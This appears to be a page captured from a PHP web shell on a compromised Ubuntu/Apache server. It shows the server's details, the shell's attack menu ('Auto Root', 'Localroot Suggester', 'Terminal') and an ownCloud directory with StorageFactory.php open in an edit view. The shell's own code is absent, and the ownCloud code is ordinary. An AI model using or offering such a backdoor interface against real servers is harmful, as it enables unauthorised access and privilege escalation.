Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
owncloud-prm /
lib /
private /
Files /
Storage /
Delete
Unzip
Name
Size
Permission
Date
Action
PolyFill
[ DIR ]
drwxr-xr-x
2018-04-19 18:15
Wrapper
[ DIR ]
drwxr-xr-x
2018-04-19 18:15
CacheableFlysystem.php
4.35
KB
-rw-r--r--
2018-04-19 18:15
Common.php
18.16
KB
-rw-r--r--
2018-04-19 18:15
CommonTest.php
2.43
KB
-rw-r--r--
2018-04-19 18:15
DAV.php
24.04
KB
-rw-r--r--
2018-04-19 18:15
FailedStorage.php
7.22
KB
-rw-r--r--
2018-04-19 18:15
Flysystem.php
5.63
KB
-rw-r--r--
2018-04-19 18:15
Home.php
2.64
KB
-rw-r--r--
2018-04-19 18:15
Local.php
12.6
KB
-rw-r--r--
2018-04-19 18:15
LocalTempFileTrait.php
2.25
KB
-rw-r--r--
2018-04-19 18:15
Storage.php
3.58
KB
-rw-r--r--
2018-04-19 18:15
StorageFactory.php
3.54
KB
-rw-r--r--
2018-04-19 18:15
Temporary.php
1.45
KB
-rw-r--r--
2018-04-19 18:15
Save
Rename
<?php /** * @author Jörn Friedrich Dreyer <jfd@butonic.de> * @author Morris Jobke <hey@morrisjobke.de> * @author Robin Appelman <icewind@owncloud.com> * @author Vincent Petry <pvince81@owncloud.com> * * @copyright Copyright (c) 2018, ownCloud GmbH * @license AGPL-3.0 * * This code is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License, version 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License, version 3, * along with this program. If not, see <http://www.gnu.org/licenses/> * */ namespace OC\Files\Storage; use OCP\Files\Mount\IMountPoint; use OCP\Files\Storage\IStorageFactory; class StorageFactory implements IStorageFactory { /** * @var array[] [$name=>['priority'=>$priority, 'wrapper'=>$callable] $storageWrappers */ private $storageWrappers = []; /** * allow modifier storage behaviour by adding wrappers around storages * * $callback should be a function of type (string $mountPoint, Storage $storage) => Storage * * @param string $wrapperName name of the wrapper * @param callable $callback callback * @param int $priority wrappers with the lower priority are applied last (meaning they get called first) * @param \OCP\Files\Mount\IMountPoint[] $existingMounts existing mount points to apply the wrapper to * @return bool true if the wrapper was added, false if there was already a wrapper with this * name registered */ public function addStorageWrapper($wrapperName, $callback, $priority = 50, $existingMounts = []) { if (isset($this->storageWrappers[$wrapperName])) { return false; } // apply to existing mounts before registering it to prevent applying it double in MountPoint::createStorage foreach ($existingMounts as $mount) { $mount->wrapStorage($callback); } $this->storageWrappers[$wrapperName] = ['wrapper' => $callback, 'priority' => $priority]; return true; } /** * Remove a storage wrapper by name. * Note: internal method only to be used for cleanup * * @param string $wrapperName name of the wrapper * @internal */ public function removeStorageWrapper($wrapperName) { unset($this->storageWrappers[$wrapperName]); } /** * Create an instance of a storage and apply the registered storage wrappers * * @param \OCP\Files\Mount\IMountPoint $mountPoint * @param string $class * @param array $arguments * @return \OCP\Files\Storage */ public function getInstance(IMountPoint $mountPoint, $class, $arguments) { return $this->wrap($mountPoint, new $class($arguments)); } /** * @param \OCP\Files\Mount\IMountPoint $mountPoint * @param \OCP\Files\Storage $storage * @return \OCP\Files\Storage */ public function wrap(IMountPoint $mountPoint, $storage) { $wrappers = array_values($this->storageWrappers); usort($wrappers, function ($a, $b) { return $b['priority'] - $a['priority']; }); /** @var callable[] $wrappers */ $wrappers = array_map(function ($wrapper) { return $wrapper['wrapper']; }, $wrappers); foreach ($wrappers as $wrapper) { $storage = $wrapper($mountPoint->getMountPoint(), $storage, $mountPoint); if (!($storage instanceof \OCP\Files\Storage)) { throw new \Exception('Invalid result from storage wrapper'); } } return $storage; } }